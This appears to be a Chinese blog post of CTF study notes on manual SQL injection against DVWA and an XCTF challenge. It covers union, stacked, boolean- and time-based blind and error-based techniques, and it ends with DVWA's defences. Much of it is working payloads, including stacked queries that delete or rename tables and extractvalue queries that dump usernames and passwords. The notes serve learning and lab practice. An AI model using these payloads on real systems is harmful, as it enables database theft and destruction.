0x01 前言
刷题的时候碰到了之前做过的题,但是忘记了怎么做,很头大,打算再总结一下这部分知识,也是当做复习了,希望不要再忘记了!!!
自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路!!!
0x02 基础操作
》联合注入
> 手工注入思路
参考DAWV题解地址:https://www.freebuf.com/articles/web/120747.html
下面简要介绍手工注入(非盲注)的步骤。
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
这里只列出思路,具体简单的语句就不写了。
》堆叠注入
参考文章链接:https://www.cnblogs.com/0nth3way/articles/7128189.html
> 原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
> 小姿势
以 XCTF-easy_sql 为例(原题对关键词进行了过滤而且用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可)
- 报错注入(详见文章0x4部分)
- 使用预编译:
1';
use information_schema;
set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;--+
1';
use supersqli;
set @sql=concat('s','elect 'flag' from '1919810931114514'');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;--+
或者
1';
set @sql = CONCAT('se','lect * from "1919810931114514";');
prepare stmt from @sql;
EXECUTE stmt;#
- 修改表名和列名:
1';
alter table words rename to words1;
alter table '1919810931114514' rename to words;
alter table words change flag id varchar(50);#
然后使用1' or 1=1#即可查询出flag
- 使用handler查询,payload如下:
1';
handler '1919810931114514' open;
handler '1919810931114514' read first;#
0x03 盲注姿势
》基于布尔的盲注
原文链接:https://www.jianshu.com/p/757626cec742
可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
同样的,和之前DVWA的普通SQL Injection操作流程类似,大致测试流程如下:
- 判断是否存在注入,注入的类型
构造User ID取值的语句 | 输出结果 | |
① | 1 | exists |
② | ' | MISSING |
③ | 1 and 1=1 # | exists |
④ | 1 and 1=2 # | exists |
⑤ | 1' and 1=1 # | exists |
⑥ | 1' and 1=2 # | MISSING |
- 猜解当前数据库名称
- 判断数据库名称的长度
输入 | 输出 |
1' and length(database())>10 # | MISSING |
1' and length(database())>5 # | MISSING |
1' and length(database())>3 # | exists |
1' and length(database())=4 # | exists |
- 判断数据库名称的字符组成元素
此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。 用法: substr(string string,num start,num length); string为字符串; start为起始位置; length为长度。 区别: mysql中的start是从1开始的,而hibernate中的start是从0开始的。
在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:
字符 | ASCII码-10进制 | 字符 | ASCII码-10进制 | |
a | 97 | --> | z | 122 |
A | 65 | --> | Z | 90 |
0 | 48 | --> | 9 | 57 |
_ | 95 | @ | 64 |
以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]
输入 | 输出 |
1' and ascii(substr(database(),1,1))>88 # | exists |
1' and ascii(substr(database(),1,1))>105 # | MISSING |
1' and ascii(substr(database(),1,1))>96 # | exists |
1' and ascii(substr(database(),1,1))>100 # | MISSING |
1' and ascii(substr(database(),1,1))>98 # | exists |
1' and ascii(substr(database(),1,1))=99 # | MISSING |
1' and ascii(substr(database(),1,1))=100 # | exists |
==>数据库名称的首位字符对应的ASCII码为100,查询是字母 d
类似以上操作,分别猜解第2/3/4位元素的字符:
1' and ascii(substr(database(),2,1))>88 #
...==>第2位字符为 v
1' and ascii(substr(database(),3,1))>88 #
...==>第3位字符为 w
1' and ascii(substr(database(),4,1))>88 #
...==>第4位字符为 a
从而,获取到当前连接数据库的名称为:dvwa
----------以下简写,只列出最后payload----------
- 猜解数据库中的表名
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
- 猜解表数
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
- 猜解表名
长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
名称:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
- 猜解表中的字段名
# 判断[dvwa库-users表]中的字段数目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
- 猜解字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
- 猜解字段名
按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码...
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/...
密码:password/pass_word/pwd/pass/...
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1 # | MISSING |
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists |
说明存在users字段
- 获取表中的字段值
- 字段长度
1' and length(substr((select user from users limit 0,1),1))=5 #
1' and length(substr((select password from users limit 0,1),1))=32 #
- 字段值
猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了。
方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成
方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名
user | password | md5($password) |
admin | password | 5f4dcc3b5aa765d61d8327deb882cf99 |
admin123 | 123456 | e10adc3949ba59abbe56e057f20f883e |
admin111 | 12345678 | 25d55ad283aa400af464c76d713c07ad |
root | root | 63a9f0ea7bb98050796b649e85481845 |
sa | sa123456 | 58d65bdd8944dc8375c30b2ba10ae699 |
... | ... | ... |
1' and substr((select user from users limit 0,1),1)='admin' #
1' and (select count(*) from users where user='admin')=1 #
方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。
- 验证字段值的有效性
- 获取数据库的其他信息:版本、用户...
》基于时间延迟的盲注
与布尔盲注类似,但是需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1' and if(length(database())>10,sleep(5),1) #
if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。
例:
1 and if(length(database())=4,sleep(2),1) #
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) #
注意:对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询。
0x04 报错注入(updatexml 与 extractvalue)
》简介
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);
注意:两个函数的返回长度有限,均为32个字符长度
》注入
payload:
or extractvalue(1, concat(0x7e, version()))
or updatexml(1, concat(0x7e, version()), 1)
》提取数据
- 爆表名:(0x7e = ~)
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))
or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))
/*可以先通过2查看是否能显示完整数据再通过1详细查看*/
- 爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)))
- 爆数据名:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)))
》小姿势
过滤掉了0x
,不能用传统的报错注入操作了,不过可以换成makeset
操作。
1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
0x05 SQL二次注入
ctf做到的一道题,用户名存在的二次注入,页面链接:http://lola39.cn/2020/05/12/xctf_%e7%bd%91%e9%bc%8e%e6%9d%af2018-unfinish/
0x06 DAWV 的 impossible难度防御思考
- impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
- 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
- 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
- Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
Comments | NOTHING